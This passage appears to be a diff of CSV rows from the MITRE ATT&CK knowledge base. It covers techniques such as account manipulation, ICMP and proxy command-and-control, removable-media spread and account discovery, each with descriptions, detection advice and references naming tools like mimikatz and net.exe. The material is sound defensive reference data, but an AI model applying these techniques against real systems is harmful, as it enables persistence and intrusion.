'https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670', 'source_name': 'Microsoft Security Event 4670'}, {'url': 'https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM', 'description': 'Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.', 'source_name': 'InsiderThreat ChangeNTLM July 2017'}, {'url': 'https://github.com/gentilkiwi/mimikatz/issues/92', 'description': 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.', 'source_name': 'GitHub Mimikatz Issue 92 June 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.2,False,https://attack.mitre.org/techniques/T1098,mitre-attack,T1098,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Account Manipulation,"Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.",attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27,attack-pattern,['persistence'],2021-04-20T16:21:28.502Z,2017-05-31T21:31:12.196Z,"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) +Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",['command-and-control'],https://attack.mitre.org/techniques/T1102,mitre-attack,T1102,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Anastasios Pingios'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",False,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098', 'external_id': 'T1098'}, {'source_name': 'Microsoft User Modified Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738'}, {'source_name': 'Microsoft Security Event 4670', 'description': 'Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.', 'url': 'https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670'}, {'source_name': 'InsiderThreat ChangeNTLM July 2017', 'description': 'Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.', 'url': 'https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM'}, {'source_name': 'GitHub Mimikatz Issue 92 June 2017', 'description': 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.', 'url': 'https://github.com/gentilkiwi/mimikatz/issues/92'}]",2.2,attack-pattern,attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:12.196Z,2021-10-18T18:57:04.505Z,Account Manipulation,"Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.",['persistence'],https://attack.mitre.org/techniques/T1098,mitre-attack,T1098,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)', 'Praetorian', 'Tim MalcomVetter']","['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Group: Group Modification', 'User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. -Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.","['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Group: Group Modification', 'User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']","['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)', 'Praetorian', 'Tim MalcomVetter']",,,"['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1095', 'url': 'https://attack.mitre.org/techniques/T1095'}, {'url': 'http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29', 'description': 'Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.', 'source_name': 'Wikipedia OSI'}, {'source_name': 'Cisco Synful Knock Evolution', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.'}, {'url': 'http://support.microsoft.com/KB/170292', 'description': 'Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.', 'source_name': 'Microsoft ICMP'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",2.1,False,https://attack.mitre.org/techniques/T1095,mitre-attack,T1095,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Non-Application Layer Protocol,"Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). +Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.",False,,"['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1095', 'external_id': 'T1095'}, {'source_name': 'Wikipedia OSI', 'description': 'Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.', 'url': 'http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Microsoft ICMP', 'description': 'Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.', 'url': 'http://support.microsoft.com/KB/170292'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",2.1,attack-pattern,attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:10.728Z,2020-10-21T19:41:49.412Z,Non-Application Layer Protocol,"Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) - Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.",attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b,attack-pattern,['command-and-control'],2020-10-21T19:41:49.412Z,2017-05-31T21:31:10.728Z,"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks) + Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.",['command-and-control'],https://attack.mitre.org/techniques/T1095,mitre-attack,T1095,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Ryan Becwar'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks) Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) -Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",['Ryan Becwar'],,,"['Windows', 'Linux', 'macOS', 'Network']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1092', 'external_id': 'T1092'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1092,mitre-attack,T1092,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Communication Through Removable Media,"Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef,attack-pattern,['command-and-control'],2020-07-14T19:44:50.871Z,2017-05-31T21:31:09.379Z,Monitor file access on removable media. Detect processes that execute when removable media is mounted.,"['Drive: Drive Creation', 'Drive: Drive Access']",,,,"['Linux', 'macOS', 'Windows']",,,,,False,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1091', 'external_id': 'T1091'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.0,False,https://attack.mitre.org/techniques/T1091,mitre-attack,T1091,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Replication Through Removable Media,"Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.",attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4,attack-pattern,"['lateral-movement', 'initial-access']",2020-07-14T19:45:59.638Z,2017-05-31T21:31:08.977Z,"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.","['Process: Process Creation', 'File: File Access', 'File: File Creation', 'Drive: Drive Creation']",,,['User'],['Windows'],,,,"['Removable media allowed, Autorun enabled or vulnerability present that allows for code execution']",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1090', 'url': 'https://attack.mitre.org/techniques/T1090'}, {'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'source_name': 'Trend Micro APT Attack Tools'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",3.1,False,https://attack.mitre.org/techniques/T1090,mitre-attack,T1090,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Proxy,"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. +Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.",False,,"['Windows', 'Linux', 'macOS', 'Network']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1092', 'external_id': 'T1092'}]",1.0,attack-pattern,attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:09.379Z,2020-07-14T19:44:50.871Z,Communication Through Removable Media,"Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",['command-and-control'],https://attack.mitre.org/techniques/T1092,mitre-attack,T1092,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Drive: Drive Creation', 'Drive: Drive Access']",,Monitor file access on removable media. Detect processes that execute when removable media is mounted.,False,,"['Linux', 'macOS', 'Windows']",,,,,False,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1091', 'external_id': 'T1091'}]",1.1,attack-pattern,attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:08.977Z,2021-07-20T02:18:04.581Z,Replication Through Removable Media,"Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.","['lateral-movement', 'initial-access']",https://attack.mitre.org/techniques/T1091,mitre-attack,T1091,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Access', 'File: File Creation', 'Drive: Drive Creation']",,"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",False,['User'],['Windows'],,,,"['Removable media allowed, Autorun enabled or vulnerability present that allows for code execution']",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090', 'external_id': 'T1090'}, {'source_name': 'Trend Micro APT Attack Tools', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",3.1,attack-pattern,attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:08.479Z,2021-08-30T19:16:11.648Z,Proxy,"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. -Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea,attack-pattern,['command-and-control'],2020-10-21T17:54:28.531Z,2017-05-31T21:31:08.479Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) +Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",['command-and-control'],https://attack.mitre.org/techniques/T1090,mitre-attack,T1090,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sheedy', 'Heather Linn', 'Walker Johnson']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) -Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']","['Brian Prange', 'Heather Linn', 'Walker Johnson']",,,"['Linux', 'macOS', 'Windows', 'Network']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1087', 'url': 'https://attack.mitre.org/techniques/T1087'}, {'external_id': 'CAPEC-575', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/575.html'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",2.3,False,https://attack.mitre.org/techniques/T1087,mitre-attack,T1087,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Account Discovery,Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.,attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08,attack-pattern,['discovery'],2021-04-14T12:26:11.595Z,2017-05-31T21:31:06.988Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).",False,,"['Linux', 'macOS', 'Windows', 'Network']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087', 'external_id': 'T1087'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/575.html', 'external_id': 'CAPEC-575'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'}]",2.3,attack-pattern,attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:06.988Z,2021-10-13T14:05:15.038Z,Account Discovery,Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.,['discovery'],https://attack.mitre.org/techniques/T1087,mitre-attack,T1087,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniel Stepanic, Elastic', 'Microsoft Threat Intelligence Center (MSTIC)', 'Travis Smith, Tripwire']","['User Account: User Account Metadata', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","['User Account: User Account Metadata', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access']","['Daniel Stepanic, Elastic', 'Microsoft Threat Intelligence Center (MSTIC)', 'Travis Smith, Tripwire']",,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-575,https://capec.mitre.org/data/definitions/575.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1083', 'url': 'https://attack.mitre.org/techniques/T1083'}, {'external_id': 'CAPEC-127', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/127.html'}, {'external_id': 'CAPEC-497', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/497.html'}, {'url': 'http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html', 'description': 'Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.', 'source_name': 'Windows Commands JPCERT'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.3,False,https://attack.mitre.org/techniques/T1083,mitre-attack,T1083,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,File and Directory Discovery,"Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",False,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-575,https://capec.mitre.org/data/definitions/575.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1083', 'external_id': 'T1083'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/127.html', 'external_id': 'CAPEC-127'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/497.html', 'external_id': 'CAPEC-497'}, {'source_name': 'Windows Commands JPCERT', 'description': 'Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.', 'url': 'https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html'}]",1.3,attack-pattern,attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:04.710Z,2021-08-23T20:44:32.048Z,File and Directory Discovery,"Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).",attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18,attack-pattern,['discovery'],2020-09-16T16:02:16.770Z,2017-05-31T21:31:04.710Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. +Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).",['discovery'],https://attack.mitre.org/techniques/T1083,mitre-attack,T1083,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,CAPEC-497,https://capec.mitre.org/data/definitions/497.html,"['Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls']",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1082', 'url': 'https://attack.mitre.org/techniques/T1082'}, {'external_id': 'CAPEC-312', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/312.html'}, {'source_name': 'Amazon Describe Instance', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html', 'description': 'Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.'}, {'source_name': 'Google Instances Resource', 'url': 'https://cloud.google.com/compute/docs/reference/rest/v1/instances', 'description': 'Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.'}, {'description': 'Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.', 'url': 'https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get', 